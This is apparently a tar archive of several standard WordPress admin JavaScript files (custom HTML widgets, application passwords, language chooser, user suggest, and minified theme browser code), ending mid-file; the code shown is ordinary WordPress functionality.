	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );
application-passwords.js.tar000064400000020000150276633110012211 0ustar00home/natitnen/crestassured.com/wp-admin/js/application-passwords.js000064400000014372150265000610021616 0ustar00/**
 * @output wp-admin/js/application-passwords.js
 */

( function( $ ) {
	var $appPassSection = $( '#application-passwords-section' ),
		$newAppPassForm = $appPassSection.find( '.create-application-password' ),
		$newAppPassField = $newAppPassForm.find( '.input' ),
		$newAppPassButton = $newAppPassForm.find( '.button' ),
		$appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ),
		$appPassTbody = $appPassSection.find( 'tbody' ),
		$appPassTrNoItems = $appPassTbody.find( '.no-items' ),
		$removeAllBtn = $( '#revoke-all-application-passwords' ),
		tmplNewAppPass = wp.template( 'new-application-password' ),
		tmplAppPassRow = wp.template( 'application-password-row' ),
		userId = $( '#user_id' ).val();

	$newAppPassButton.on( 'click', function( e ) {
		e.preventDefault();

		if ( $newAppPassButton.prop( 'aria-disabled' ) ) {
			return;
		}

		var name = $newAppPassField.val();

		if ( 0 === name.length ) {
			$newAppPassField.trigger( 'focus' );
			return;
		}

		clearNotices();
		$newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' );

		var request = {
			name: name
		};

		/**
		 * Filters the request data used to create a new Application Password.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} request The request data.
		 * @param {number} userId  The id of the user the password is added for.
		 */
		request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId );

		wp.apiRequest( {
			path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
			method: 'POST',
			data: request
		} ).always( function() {
			$newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' );
		} ).done( function( response ) {
			$newAppPassField.val( '' );
			$newAppPassButton.prop( 'disabled', false );

			$newAppPassForm.after( tmplNewAppPass( {
				name: response.name,
				password: response.password
			} ) );
			$( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' );

			$appPassTbody.prepend( tmplAppPassRow( response ) );

			$appPassTwrapper.show();
			$appPassTrNoItems.remove();

			/**
			 * Fires after an application password has been successfully created.
			 *
			 * @since 5.6.0
			 *
			 * @param {Object} response The response data from the REST API.
			 * @param {Object} request  The request data used to create the password.
			 */
			wp.hooks.doAction( 'wp_application_passwords_created_password', response, request );
		} ).fail( handleErrorResponse );
	} );

	$appPassTbody.on( 'click', '.delete', function( e ) {
		e.preventDefault();

		if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) {
			return;
		}

		var $submitButton = $( this ),
			$tr = $submitButton.closest( 'tr' ),
			uuid = $tr.data( 'uuid' );

		clearNotices();
		$submitButton.prop( 'disabled', true );

		wp.apiRequest( {
			path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user',
			method: 'DELETE'
		} ).always( function() {
			$submitButton.prop( 'disabled', false );
		} ).done( function( response ) {
			if ( response.deleted ) {
				if ( 0 === $tr.siblings().length ) {
					$appPassTwrapper.hide();
				}
				$tr.remove();

				addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' );
			}
		} ).fail( handleErrorResponse );
	} );

	$removeAllBtn.on( 'click', function( e ) {
		e.preventDefault();

		if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) {
			return;
		}

		var $submitButton = $( this );

		clearNotices();
		$submitButton.prop( 'disabled', true );

		wp.apiRequest( {
			path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
			method: 'DELETE'
		} ).always( function() {
			$submitButton.prop( 'disabled', false );
		} ).done( function( response ) {
			if ( response.deleted ) {
				$appPassTbody.children().remove();
				$appPassSection.children( '.new-application-password' ).remove();
				$appPassTwrapper.hide();

				addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' );
			}
		} ).fail( handleErrorResponse );
	} );

	$appPassSection.on( 'click', '.notice-dismiss', function( e ) {
		e.preventDefault();
		var $el = $( this ).parent();
		$el.removeAttr( 'role' );
		$el.fadeTo( 100, 0, function () {
			$el.slideUp( 100, function () {
				$el.remove();
				$newAppPassField.trigger( 'focus' );
			} );
		} );
	} );

	$newAppPassField.on( 'keypress', function ( e ) {
		if ( 13 === e.which ) {
			e.preventDefault();
			$newAppPassButton.trigger( 'click' );
		}
	} );

	// If there are no items, don't display the table yet.  If there are, show it.
	if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) {
		$appPassTwrapper.hide();
	}

	/**
	 * Handles an error response from the REST API.
	 *
	 * @since 5.6.0
	 *
	 * @param {jqXHR} xhr The XHR object from the ajax call.
	 * @param {string} textStatus The string categorizing the ajax request's status.
	 * @param {string} errorThrown The HTTP status error text.
	 */
	function handleErrorResponse( xhr, textStatus, errorThrown ) {
		var errorMessage = errorThrown;

		if ( xhr.responseJSON && xhr.responseJSON.message ) {
			errorMessage = xhr.responseJSON.message;
		}

		addNotice( errorMessage, 'error' );
	}

	/**
	 * Displays a message in the Application Passwords section.
	 *
	 * @since 5.6.0
	 *
	 * @param {string} message The message to display.
	 * @param {string} type    The notice type. Either 'success' or 'error'.
	 * @returns {jQuery} The notice element.
	 */
	function addNotice( message, type ) {
		var $notice = $( '<div></div>' )
			.attr( 'role', 'alert' )
			.attr( 'tabindex', '-1' )
			.addClass( 'is-dismissible notice notice-' + type )
			.append( $( '<p></p>' ).text( message ) )
			.append(
				$( '<button></button>' )
					.attr( 'type', 'button' )
					.addClass( 'notice-dismiss' )
					.append( $( '<span></span>' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) )
			);

		$newAppPassForm.after( $notice );

		return $notice;
	}

	/**
	 * Clears notice messages from the Application Passwords section.
	 *
	 * @since 5.6.0
	 */
	function clearNotices() {
		$( '.notice', $appPassSection ).remove();
	}
}( jQuery ) );
language-chooser.js.tar000064400000005000150276633110011111 0ustar00home/natitnen/crestassured.com/wp-admin/js/language-chooser.js000064400000001572150261264520020521 0ustar00/**
 * @output wp-admin/js/language-chooser.js
 */

jQuery( function($) {
/*
 * Set the correct translation to the continue button and show a spinner
 * when downloading a language.
 */
var select = $( '#language' ),
	submit = $( '#language-continue' );

if ( ! $( 'body' ).hasClass( 'language-chooser' ) ) {
	return;
}

select.trigger( 'focus' ).on( 'change', function() {
	/*
	 * When a language is selected, set matching translation to continue button
	 * and attach the language attribute.
	 */
	var option = select.children( 'option:selected' );
	submit.attr({
		value: option.data( 'continue' ),
		lang: option.attr( 'lang' )
	});
});

$( 'form' ).on( 'submit', function() {
	// Show spinner for languages that need to be downloaded.
	if ( ! select.children( 'option:selected' ).data( 'installed' ) ) {
		$( this ).find( '.step .spinner' ).css( 'visibility', 'visible' );
	}
});

});
user-suggest.js000064400000004375150276633110007554 0ustar00/**
 * Suggests users in a multisite environment.
 *
 * For input fields where the admin can select a user based on email or
 * username, this script shows an autocompletion menu for these inputs. Should
 * only be used in a multisite environment. Only users in the currently active
 * site are shown.
 *
 * @since 3.4.0
 * @output wp-admin/js/user-suggest.js
 */

/* global ajaxurl, current_site_id, isRtl */

(function( $ ) {
	var id = ( typeof current_site_id !== 'undefined' ) ? '&site_id=' + current_site_id : '';
	$( function() {
		var position = { offset: '0, -1' };
		if ( typeof isRtl !== 'undefined' && isRtl ) {
			position.my = 'right top';
			position.at = 'right bottom';
		}

		/**
		 * Adds an autocomplete function to input fields marked with the class
		 * 'wp-suggest-user'.
		 *
		 * A minimum of two characters is required to trigger the suggestions. The
		 * autocompletion menu is shown at the left bottom of the input field. On
		 * RTL installations, it is shown at the right top. Adds the class 'open' to
		 * the input field when the autocompletion menu is shown.
		 *
		 * Does a backend call to retrieve the users.
		 *
		 * Optional data-attributes:
		 * - data-autocomplete-type (add, search)
		 *   The action that is going to be performed: search for existing users
		 *   or add a new one. Default: add
		 * - data-autocomplete-field (user_login, user_email)
		 *   The field that is returned as the value for the suggestion.
		 *   Default: user_login
		 *
		 * @see wp-admin/includes/admin-actions.php:wp_ajax_autocomplete_user()
		 */
		$( '.wp-suggest-user' ).each( function(){
			var $this = $( this ),
				autocompleteType = ( typeof $this.data( 'autocompleteType' ) !== 'undefined' ) ? $this.data( 'autocompleteType' ) : 'add',
				autocompleteField = ( typeof $this.data( 'autocompleteField' ) !== 'undefined' ) ? $this.data( 'autocompleteField' ) : 'user_login';

			$this.autocomplete({
				source:    ajaxurl + '?action=autocomplete-user&autocomplete_type=' + autocompleteType + '&autocomplete_field=' + autocompleteField + id,
				delay:     500,
				minLength: 2,
				position:  position,
				open: function() {
					$( this ).addClass( 'open' );
				},
				close: function() {
					$( this ).removeClass( 'open' );
				}
			});
		});
	});
})( jQuery );
theme.min.js000064400000064657150276633110007014 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},function(n){var o,a;function e(e,t){Backbone.history._hasPushState&&Backbone.Router.prototype.navigate.call(this,e,t)}(o=wp.themes=wp.themes||{}).data=_wpThemeSettings,a=o.data.l10n,o.isInstall=!!o.data.settings.isInstall,_.extend(o,{model:{},view:{},routes:{},router:{},template:wp.template}),o.Model=Backbone.Model.extend({initialize:function(){var e;this.get("slug")&&(-1!==_.indexOf(o.data.installedThemes,this.get("slug"))&&this.set({installed:!0}),o.data.activeTheme===this.get("slug"))&&this.set({active:!0}),this.set({id:this.get("slug")||this.get("id")}),this.has("sections")&&(e=this.get("sections").description,this.set({description:e}))}}),o.view.Appearance=wp.Backbone.View.extend({el:"#wpbody-content .wrap .theme-browser",window:n(window),page:0,initialize:function(e){_.bindAll(this,"scroller"),this.SearchView=e.SearchView||o.view.Search,this.window.on("scroll",_.throttle(this.scroller,300))},render:function(){this.view=new o.view.Themes({collection:this.collection,parent:this}),this.search(),this.$el.removeClass("search-loading"),this.view.render(),this.$el.empty().append(this.view.el).addClass("rendered")},searchContainer:n(".search-form"),search:function(){var e;1!==o.data.themes.length&&(e=new this.SearchView({collection:this.collection,parent:this}),(this.SearchView=e).render(),this.searchContainer.append(n.parseHTML('<label class="screen-reader-text" for="wp-filter-search-input">'+a.search+"</label>")).append(e.el).on("submit",function(e){e.preventDefault()}))},scroller:function(){var e=this,t=this.window.scrollTop()+e.window.height(),e=e.$el.offset().top+e.$el.outerHeight(!1)-e.window.height();Math.round(.9*e)<t&&this.trigger("theme:scroll")}}),o.Collection=Backbone.Collection.extend({model:o.Model,terms:"",doSearch:function(e){this.terms!==e&&(this.terms=e,0<this.terms.length&&this.search(this.terms),""===this.terms&&(this.reset(o.data.themes),n("body").removeClass("no-results")),this.trigger("themes:update"))},search:function(t){var i,e,s,r,a;this.reset(o.data.themes,{silent:!0}),t=(t=(t=t.trim()).replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")).replace(/ /g,")(?=.*"),i=new RegExp("^(?=.*"+t+").+","i"),0===(e=this.filter(function(e){return s=e.get("name").replace(/(<([^>]+)>)/gi,""),r=e.get("description").replace(/(<([^>]+)>)/gi,""),a=e.get("author").replace(/(<([^>]+)>)/gi,""),s=_.union([s,e.get("id"),r,a,e.get("tags")]),i.test(e.get("author"))&&2<t.length&&e.set("displayAuthor",!0),i.test(s)})).length?this.trigger("query:empty"):n("body").removeClass("no-results"),this.reset(e)},paginate:function(e){var t=this;return e=e||0,t=_(t.rest(20*e)),t=_(t.first(20))},count:!1,query:function(t){var e,i,s,r=this.queries,a=this;if(this.currentQuery.request=t,e=_.find(r,function(e){return _.isEqual(e.request,t)}),(i=_.has(t,"page"))||(this.currentQuery.page=1),e||i){if(i)return this.apiCall(t,i).done(function(e){a.add(e.themes),a.trigger("query:success"),a.loadingThemes=!1}).fail(function(){a.trigger("query:fail")});0===e.themes.length?a.trigger("query:empty"):n("body").removeClass("no-results"),_.isNumber(e.total)&&(this.count=e.total),this.reset(e.themes),e.total||(this.count=this.length),this.trigger("themes:update"),this.trigger("query:success",this.count)}else this.apiCall(t).done(function(e){e.themes&&(a.reset(e.themes),s=e.info.results,r.push({themes:e.themes,request:t,total:s})),a.trigger("themes:update"),a.trigger("query:success",s),e.themes&&0===e.themes.length&&a.trigger("query:empty")}).fail(function(){a.trigger("query:fail")})},queries:[],currentQuery:{page:1,request:{}},apiCall:function(e,t){return wp.ajax.send("query-themes",{data:{request:_.extend({per_page:100},e)},beforeSend:function(){t||n("body").addClass("loading-content").removeClass("no-results")}})},loadingThemes:!1}),o.view.Theme=wp.Backbone.View.extend({className:"theme",state:"grid",html:o.template("theme"),events:{click:o.isInstall?"preview":"expand",keydown:o.isInstall?"preview":"expand",touchend:o.isInstall?"preview":"expand",keyup:"addFocus",touchmove:"preventExpand","click .theme-install":"installTheme","click .update-message":"updateTheme"},touchDrag:!1,initialize:function(){this.model.on("change",this.render,this)},render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)).attr("data-slug",e.id),this.activeTheme(),this.model.get("displayAuthor")&&this.$el.addClass("display-author")},activeTheme:function(){this.model.get("active")&&this.$el.addClass("active")},addFocus:function(){var e=n(":focus").hasClass("theme")?n(":focus"):n(":focus").parents(".theme");n(".theme.focus").removeClass("focus"),e.addClass("focus")},expand:function(e){if("keydown"!==(e=e||window.event).type||13===e.which||32===e.which)return!0===this.touchDrag?this.touchDrag=!1:void(n(e.target).is(".theme-actions a")||n(e.target).is(".theme-actions a, .update-message, .button-link, .notice-dismiss")||(o.focusedTheme=this.$el,this.trigger("theme:expand",this.model.cid)))},preventExpand:function(){this.touchDrag=!0},preview:function(e){var t,i,s=this;if(e=e||window.event,!0===this.touchDrag)return this.touchDrag=!1;n(e.target).not(".install-theme-preview").parents(".theme-actions").length||"keydown"===e.type&&13!==e.which&&32!==e.which||"keydown"===e.type&&13!==e.which&&n(":focus").hasClass("button")||(e.preventDefault(),e=e||window.event,o.focusedTheme=this.$el,o.preview=i=new o.view.Preview({model:this.model}),i.render(),this.setNavButtonsState(),1===this.model.collection.length?i.$el.addClass("no-navigation"):i.$el.removeClass("no-navigation"),n("div.wrap").append(i.el),this.listenTo(i,"theme:next",function(){if(t=s.model,_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)+1),_.isUndefined(s.current))return s.options.parent.parent.trigger("theme:end"),s.current=t;i.model=s.current,i.render(),this.setNavButtonsState(),n(".next-theme").trigger("focus")}).listenTo(i,"theme:previous",function(){t=s.model,0===s.model.collection.indexOf(s.current)||(_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)-1),_.isUndefined(s.current))||(i.model=s.current,i.render(),this.setNavButtonsState(),n(".previous-theme").trigger("focus"))}),this.listenTo(i,"preview:close",function(){s.current=s.model}))},setNavButtonsState:function(){var e=n(".theme-install-overlay"),t=_.isUndefined(this.current)?this.model:this.current,i=e.find(".previous-theme"),e=e.find(".next-theme");0===this.model.collection.indexOf(t)&&(i.addClass("disabled").prop("disabled",!0),e.trigger("focus")),_.isUndefined(this.model.collection.at(this.model.collection.indexOf(t)+1))&&(e.addClass("disabled").prop("disabled",!0),i.trigger("focus"))},installTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({installed:!0}),t.blockTheme&&i.model.set({block_theme:!0})}),wp.updates.installTheme({slug:n(e.target).data("slug")})},updateTheme:function(e){var i=this;this.model.get("hasPackage")&&(e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.off("change",i.render,i),i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.model.on("change",i.render,i)}),wp.updates.updateTheme({slug:n(e.target).parents("div.theme").first().data("slug")}))}}),o.view.Details=wp.Backbone.View.extend({className:"theme-overlay",events:{click:"collapse","click .delete-theme":"deleteTheme","click .left":"previousTheme","click .right":"nextTheme","click #update-theme":"updateTheme","click .toggle-auto-update":"autoupdateState"},html:o.template("theme-single"),render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)),this.activeTheme(),this.navigation(),this.screenshotCheck(this.$el),this.containFocus(this.$el)},activeTheme:function(){this.$el.toggleClass("active",this.model.get("active"))},containFocus:function(s){_.delay(function(){n(".theme-overlay").trigger("focus")},100),s.on("keydown.wp-themes",function(e){var t=s.find(".theme-header button:not(.disabled)").first(),i=s.find(".theme-actions a:visible").last();9===e.which&&(t[0]===e.target&&e.shiftKey?(i.trigger("focus"),e.preventDefault()):i[0]!==e.target||e.shiftKey||(t.trigger("focus"),e.preventDefault()))})},collapse:function(e){var t,i=this;e=e||window.event,1!==o.data.themes.length&&(n(e.target).is(".theme-backdrop")||n(e.target).is(".close")||27===e.keyCode)&&(n("body").addClass("closing-overlay"),this.$el.fadeOut(130,function(){n("body").removeClass("closing-overlay"),i.closeOverlay(),t=document.body.scrollTop,o.router.navigate(o.router.baseUrl("")),document.body.scrollTop=t,o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}))},navigation:function(){this.model.cid===this.model.collection.at(0).cid&&this.$el.find(".left").addClass("disabled").prop("disabled",!0),this.model.cid===this.model.collection.at(this.model.collection.length-1).cid&&this.$el.find(".right").addClass("disabled").prop("disabled",!0)},closeOverlay:function(){n("body").removeClass("modal-open"),this.remove(),this.unbind(),this.trigger("theme:collapse")},autoupdateState:function(){var s=this,r=function(e,t){var i;s.model.get("id")===t.asset&&((i=s.model.get("autoupdate")).enabled="enable"===t.state,s.model.set({autoupdate:i}),n(document).off("wp-auto-update-setting-changed",r))};n(document).on("wp-auto-update-setting-changed",r)},updateTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.render()}),wp.updates.updateTheme({slug:n(e.target).data("slug")})},deleteTheme:function(e){var i=this,s=i.model.collection,r=o;e.preventDefault(),window.confirm(wp.themes.data.settings.confirmDelete)&&(wp.updates.maybeRequestFilesystemCredentials(e),n(document).one("wp-theme-delete-success",function(e,t){i.$el.find(".close").trigger("click"),n('[data-slug="'+t.slug+'"]').css({backgroundColor:"#faafaa"}).fadeOut(350,function(){n(this).remove(),r.data.themes=_.without(r.data.themes,_.findWhere(r.data.themes,{id:t.slug})),n(".wp-filter-search").val(""),s.doSearch(""),s.remove(i.model),s.trigger("themes:update")})}),wp.updates.deleteTheme({slug:this.model.get("id")}))},nextTheme:function(){return this.trigger("theme:next",this.model.cid),!1},previousTheme:function(){return this.trigger("theme:previous",this.model.cid),!1},screenshotCheck:function(e){var t=e.find(".screenshot img"),i=new Image;i.src=t.attr("src"),i.width&&i.width<=300&&e.addClass("small-screenshot")}}),o.view.Preview=o.view.Details.extend({className:"wp-full-overlay expanded",el:".theme-install-overlay",events:{"click .close-full-overlay":"close","click .collapse-sidebar":"collapse","click .devices button":"previewDevice","click .previous-theme":"previousTheme","click .next-theme":"nextTheme",keyup:"keyEvent","click .theme-install":"installTheme"},html:o.template("theme-preview"),render:function(){var e=this,t=this.model.toJSON(),i=n(document.body);i.attr("aria-busy","true"),this.$el.removeClass("iframe-ready").html(this.html(t)),(t=this.$el.data("current-preview-device"))&&e.tooglePreviewDeviceButtons(t),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.get("id")),{replace:!1}),this.$el.fadeIn(200,function(){i.addClass("theme-installer-active full-overlay-active")}),this.$el.find("iframe").one("load",function(){e.iframeLoaded()})},iframeLoaded:function(){this.$el.addClass("iframe-ready"),n(document.body).attr("aria-busy","false")},close:function(){return this.$el.fadeOut(200,function(){n("body").removeClass("theme-installer-active full-overlay-active"),o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}).removeClass("iframe-ready"),o.router.selectedTab?(o.router.navigate(o.router.baseUrl("?browse="+o.router.selectedTab)),o.router.selectedTab=!1):o.router.navigate(o.router.baseUrl("")),this.trigger("preview:close"),this.undelegateEvents(),this.unbind(),!1},collapse:function(e){e=n(e.currentTarget);return"true"===e.attr("aria-expanded")?e.attr({"aria-expanded":"false","aria-label":a.expandSidebar}):e.attr({"aria-expanded":"true","aria-label":a.collapseSidebar}),this.$el.toggleClass("collapsed").toggleClass("expanded"),!1},previewDevice:function(e){e=n(e.currentTarget).data("device");this.$el.removeClass("preview-desktop preview-tablet preview-mobile").addClass("preview-"+e).data("current-preview-device",e),this.tooglePreviewDeviceButtons(e)},tooglePreviewDeviceButtons:function(e){var t=n(".wp-full-overlay-footer .devices");t.find("button").removeClass("active").attr("aria-pressed",!1),t.find("button.preview-"+e).addClass("active").attr("aria-pressed",!0)},keyEvent:function(e){27===e.keyCode&&(this.undelegateEvents(),this.close()),39===e.keyCode&&_.once(this.nextTheme()),37===e.keyCode&&this.previousTheme()},installTheme:function(e){var t=this,i=n(e.target);e.preventDefault(),i.hasClass("disabled")||(wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(){t.model.set({installed:!0})}),wp.updates.installTheme({slug:i.data("slug")}))}}),o.view.Themes=wp.Backbone.View.extend({className:"themes wp-clearfix",$overlay:n("div.theme-overlay"),index:0,count:n(".wrap .theme-count"),liveThemeCount:0,initialize:function(e){var t=this;this.parent=e.parent,this.setView("grid"),t.currentTheme(),this.listenTo(t.collection,"themes:update",function(){t.parent.page=0,t.currentTheme(),t.render(this)}),this.listenTo(t.collection,"query:success",function(e){_.isNumber(e)?(t.count.text(e),t.announceSearchResults(e)):(t.count.text(t.collection.length),t.announceSearchResults(t.collection.length))}),this.listenTo(t.collection,"query:empty",function(){n("body").addClass("no-results")}),this.listenTo(this.parent,"theme:scroll",function(){t.renderThemes(t.parent.page)}),this.listenTo(this.parent,"theme:close",function(){t.overlay&&t.overlay.closeOverlay()}),n("body").on("keyup",function(e){!t.overlay||n("#request-filesystem-credentials-dialog").is(":visible")||(39===e.keyCode&&t.overlay.nextTheme(),37===e.keyCode&&t.overlay.previousTheme(),27===e.keyCode&&t.overlay.collapse(e))})},render:function(){this.$el.empty(),1===o.data.themes.length&&(this.singleTheme=new o.view.Details({model:this.collection.models[0]}),this.singleTheme.render(),this.$el.addClass("single-theme"),this.$el.append(this.singleTheme.el)),0<this.options.collection.size()&&this.renderThemes(this.parent.page),this.liveThemeCount=this.collection.count||this.collection.length,this.count.text(this.liveThemeCount),o.isInstall||this.announceSearchResults(this.liveThemeCount)},renderThemes:function(e){var t=this;t.instance=t.collection.paginate(e),0===t.instance.size()?this.parent.trigger("theme:end"):(!o.isInstall&&1<=e&&n(".add-new-theme").remove(),t.instance.each(function(e){t.theme=new o.view.Theme({model:e,parent:t}),t.theme.render(),t.$el.append(t.theme.el),t.listenTo(t.theme,"theme:expand",t.expand,t)}),!o.isInstall&&o.data.settings.canInstall&&this.$el.append('<div class="theme add-new-theme"><a href="'+o.data.settings.installURI+'"><div class="theme-screenshot"><span></span></div><h2 class="theme-name">'+a.addNew+"</h2></a></div>"),this.parent.page++)},currentTheme:function(){var e=this.collection.findWhere({active:!0});e&&(this.collection.remove(e),this.collection.add(e,{at:0}))},setView:function(e){return e},expand:function(e){var t,i=this;this.model=i.collection.get(e),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.id)),this.setView("detail"),n("body").addClass("modal-open"),this.overlay=new o.view.Details({model:i.model}),this.overlay.render(),this.model.get("hasUpdate")&&(e=n('[data-slug="'+this.model.id+'"]'),t=n(this.overlay.el),e.find(".updating-message").length?(t.find(".notice-warning h3").remove(),t.find(".notice-warning").removeClass("notice-large").addClass("updating-message").find("p").text(wp.updates.l10n.updating)):e.find(".notice-error").length&&t.find(".notice-warning").remove()),this.$overlay.html(this.overlay.el),this.listenTo(this.overlay,"theme:next",function(){i.next([i.model.cid])}).listenTo(this.overlay,"theme:previous",function(){i.previous([i.model.cid])})},next:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)+1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},previous:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)-1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},announceSearchResults:function(e){0===e?wp.a11y.speak(a.noThemesFound):wp.a11y.speak(a.themesFound.replace("%d",e))}}),o.view.Search=wp.Backbone.View.extend({tagName:"input",className:"wp-filter-search",id:"wp-filter-search-input",searching:!1,attributes:{placeholder:a.searchPlaceholder,type:"search","aria-describedby":"live-search-desc"},events:{input:"search",keyup:"search",blur:"pushState"},initialize:function(e){this.parent=e.parent,this.listenTo(this.parent,"theme:close",function(){this.searching=!1})},search:function(e){"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e)},doSearch:function(e){var t={};this.collection.doSearch(e.target.value.replace(/\+/g," ")),this.searching&&13!==e.which?t.replace=!0:this.searching=!0,e.target.value?o.router.navigate(o.router.baseUrl(o.router.searchPath+e.target.value),t):o.router.navigate(o.router.baseUrl(""))},pushState:function(e){var t=o.router.baseUrl("");e.target.value&&(t=o.router.baseUrl(o.router.searchPath+encodeURIComponent(e.target.value))),this.searching=!1,o.router.navigate(t)}}),o.Router=Backbone.Router.extend({routes:{"themes.php?theme=:slug":"theme","themes.php?search=:query":"search","themes.php?s=:query":"search","themes.php":"themes","":"themes"},baseUrl:function(e){return"themes.php"+e},themePath:"?theme=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},themes:function(){n(".wp-filter-search").val("")},navigate:e}),o.Run={init:function(){this.themes=new o.Collection(o.data.themes),this.view=new o.view.Appearance({collection:this.themes}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this;o.router=new o.Router,o.router.on("route:theme",function(e){t.view.view.expand(e)}),o.router.on("route:themes",function(){t.themes.doSearch(""),t.view.trigger("theme:close")}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},o.view.InstallerSearch=o.view.Search.extend({events:{input:"search",keyup:"search"},terms:"",search:function(e){("keyup"!==e.type||9!==e.which&&16!==e.which)&&(this.collection=this.options.parent.view.collection,"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e.target.value))},doSearch:function(e){var 